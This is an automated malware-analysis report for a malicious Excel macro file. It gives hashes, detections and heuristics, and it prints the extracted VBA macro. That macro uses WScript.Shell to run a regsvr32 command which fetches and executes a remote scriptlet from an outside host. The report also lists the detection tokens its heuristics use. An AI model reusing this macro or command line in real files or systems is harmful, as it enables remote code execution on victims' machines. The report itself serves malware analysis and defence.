Office (OOXML) malware analysis — malicious · 9fae8c3fee305983

MALICIOUS

Office (OOXML)

14.2 KB Created: 2020-10-18 14:23:11 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-10-25

MD5: 40134b021cd3ae922e2570007278a5b2 SHA-1: 256859d1a2960d1c0104b9decf69358860c68cc2 SHA-256: 9fae8c3fee30598336cf2194730ab9b10a4d021092d260f1343d9e491a89a016

402 Risk Score

Heuristics 8

ClamAV: Win.Downloader.Regsvr32Unregister-6335678-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Win.Downloader.Regsvr32Unregister-6335678-1
VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    Dim shell
```
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
    Set shell = VBA.CreateObject("WScript.Shell")
```

LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA

Matched line in script

    out = shell.Run("regsvr32 /u /n /s /i:http://192.168.0.104:9000/bandit.sct scrobj.dll", 0, False)

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set shell = VBA.CreateObject("WScript.Shell")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://192.168.0.104:9000/bandit.sct In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	819 bytes
SHA-256: `95f13d25d998471a8e80fa862ce8689b005e9473bb4dabd956620cb9fc7784a7`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Ten_skoroszyt" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Arkusz1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Test() Dim shell Dim out Set shell = VBA.CreateObject("WScript.Shell") out = shell.Run("regsvr32 /u /n /s /i:http://192.168.0.104:9000/bandit.sct scrobj.dll", 0, False) End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	14336 bytes
SHA-256: `0f01cee88a56a3c2ae6da53f153d6f9504e3a8a9af23011442fcfca9281876f9`
Detection ClamAV: Win.Downloader.Regsvr32Unregister-6335678-1 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.